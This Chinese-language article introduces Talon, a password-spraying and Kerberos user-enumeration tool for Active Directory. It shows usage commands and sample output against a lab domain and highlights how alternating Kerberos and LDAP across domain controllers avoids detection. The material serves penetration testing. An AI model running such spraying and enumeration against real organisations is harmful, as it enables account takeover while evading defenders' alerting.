Talon:一款针对Kerberos和LDAP服务的密码爆破工具
Talon
Talon是一款针对Kerberos和LDAP服务的密码爆破工具,该工具能够在保持在无法被检测到的情况下执行自动化的密码爆破攻击。Talon能够枚举Kerberos用户列表,并识别出有效的用户角色。除此之外,Talon还可以针对Kerberos和LDAP Secure服务来执行密码爆破攻击。Talon能够使用一个或多个域控制器来执行这些攻击,并且能够实现域控制器和服务(Kerberos或LDAP Secure)之间的请求随机化。
工具下载
广大研究人员可以访问该项目的【Releases页面】来下载对应操作系统架构的Talon。
工具使用
$ https://www.freebuf.com/articles/network/Talon -h Usage of https://www.freebuf.com/articles/network/Talon: -D string Fully qualified domain to use -E Enumerates which users are valid -H string Domain controller to connect to -Hostfile string File containing the list of domain controllers to connect to -K Test against Kerberos only -L Test against LDAP only -O string File to append the results to -P string Password to use -U string Username to authenticate as -Userfile string File containing the list of usernames -debug Print debug statements -sleep float Time inbetween attempts (default 0.5)枚举模式
用户枚举模式可以使用-E选项来执行,该模式下的Talon只会向目标目标KDC发送Kerberos TGT预认证请求,不过这个请求目前使用的是不支持的加密类型。Talon将会检查KDC返回的响应信息,并判断其中是否包含KDC_ERR_ETYPE_NOSUPP(表明用户存在)或DC_ERR_C_PRINCIPAL_UNKNOWN(表明用户不存在)。Talon能够针对目标企业中的多个域控制器来执行这种类型的枚举操作,使用-Hostfile命令即可指定多个域控制器,或使用-H来指定单个域控制器。这项技术并不会触发登录失败的情况,因此不会锁定任何用户账号。
https://www.freebuf.com/articles/network/Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E ? __________ ?________ ?___ ________ ?________ |\___ ?_\\\ __ ?\|\ ?\ |\ __ ?\|\ ___ ?\ \|___ \ ?\_\ \ ?\|\ ?\ \ ?\ ?\ \ ?\|\ ?\ \ ?\\ \ ?\ ?\ \ ?\ \ \ __ ?\ \ ?\ ?\ \ ?\\\ ?\ \ ?\\ \ ?\ \ \ ?\ \ \ ?\ \ ?\ \ ?\____\ \ ?\\\ ?\ \ ?\\ \ ?\ ?\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\ \|__| ?\|__|\|__|\|_______|\|_______|\|__| \|__| (@Tyl0us) ? ? [-] ?172.16.144.195 STARLABS.LOCAL\asmith: ?=User Does Not Exist [+] ?172.16.144.185 STARLABS.LOCAL\ballen: ?=User Exist [-] ?172.16.144.186 STARLABS.LOCAL\bjohnson: ?=User Does Not Exist [-] ?172.16.144.195 STARLABS.LOCAL\bwayne: ?=User Does Not Exist [+] ?172.16.144.195 STARLABS.LOCAL\csnow: ?=User Exist [-] ?172.16.144.186 STARLABS.LOCAL\jtodd: ?=User Does Not Exist [+] ?172.16.144.186 STARLABS.LOCAL\hwells: ?=User Exist [-] ?172.16.144.186 STARLABS.LOCAL\wwest: ?=User's Account Locked自动化密码爆破模式
Talon针对的是Kerberos和LDAP,这两个服务都整合进了活动目录AD中以实现身份认证。Talon能够通过在这两个服务之间交替执行密码爆破攻击,从而实现在两个协议之间分割密码攻击流量。这会拆分生成的潜在事件数量,从而减少发出警报的几率。Talon更进一步,通过使用-Hostfile向企业中的多个域控制器分发密码攻击,每次在LDAP和Kerberos之间交替,以创建额外的模糊层。如果需要,可以使用-H命令提供单个域控制器。
https://www.freebuf.com/articles/network/Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1 ? __________ ?________ ?___ ________ ?________ |\___ ?_\\\ __ ?\|\ ?\ |\ __ ?\|\ ___ ?\ \|___ \ ?\_\ \ ?\|\ ?\ \ ?\ ?\ \ ?\|\ ?\ \ ?\\ \ ?\ ?\ \ ?\ \ \ __ ?\ \ ?\ ?\ \ ?\\\ ?\ \ ?\\ \ ?\ \ \ ?\ \ \ ?\ \ ?\ \ ?\____\ \ ?\\\ ?\ \ ?\\ \ ?\ ?\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\ \|__| ?\|__|\|__|\|_______|\|_______|\|__| \|__| (@Tyl0us) ? [-] ?172.16.144.186 STARLABS.LOCAL\admin:Not3vil=Failed [-] ?172.16.144.185 STARLABS.LOCAL\ballen:Not3vil=Failed [-] ?172.16.144.195 STARLABS.LOCAL\cramon:Not3vil=Failed [+] ?172.16.144.185 STARLABS.LOCAL\hwells:Not3vil=Success [-] ?172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil=FailedTalon还可以使用-K选项或-L选项来进队Kerberos或LDAP执行渗透攻击。
除此之外,在执行密码爆破攻击的过程中,Talon还可以使用Kerberos和LDAP来读取响应信息。Talon能够在执行密码破解攻击的过程中,通过读取每一次密码请求尝试返回的响应码来检测账号锁定情况,这将帮助我们防止在企业内部网络进行测试的时候出现账号被锁定的情况,以避免被检测到。
root@kali:~# https://www.freebuf.com/articles/network/Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2 ? __________ ?________ ?___ ________ ?________ |\___ ?_\\\ __ ?\|\ ?\ |\ __ ?\|\ ___ ?\ \|___ \ ?\_\ \ ?\|\ ?\ \ ?\ ?\ \ ?\|\ ?\ \ ?\\ \ ?\ ?\ \ ?\ \ \ __ ?\ \ ?\ ?\ \ ?\\\ ?\ \ ?\\ \ ?\ \ \ ?\ \ \ ?\ \ ?\ \ ?\____\ \ ?\\\ ?\ \ ?\\ \ ?\ ?\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\ \|__| ?\|__|\|__|\|_______|\|_______|\|__| \|__| (@Tyl0us) ? ? [-] ?172.16.144.186 STARLABS.LOCAL\ballen:Password!=Failed [-] ?172.16.144.185 STARLABS.LOCAL\csnow:Password!=Failed [-] ?172.16.144.186 STARLABS.LOCAL\wwest:Password!=User's Account Locked [*] Account lock out detected - Do you want to continue.[y/n]:代码贡献
Talon基于Golang开发,如需贡献自己的代码,首先请将该项目代码库克隆至本地。在编译Talon之前,我们还需要安装好相应的依赖组件。请先运行下列命令:
go get github.com/fatih/color go get gopkg.in/jcmturner/gokrb5.v7/client go get gopkg.in/jcmturner/gokrb5.v7/config go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID go get gopkg.in/ldap.v2接下来,运行下列命令实现项目构建:
go build Talon.go项目地址
Talon:【GitHub传送门】
参考资料
- https://www.optiv.com/explore-optiv-insights/blog/digging-your-talons-new-take-password-guessing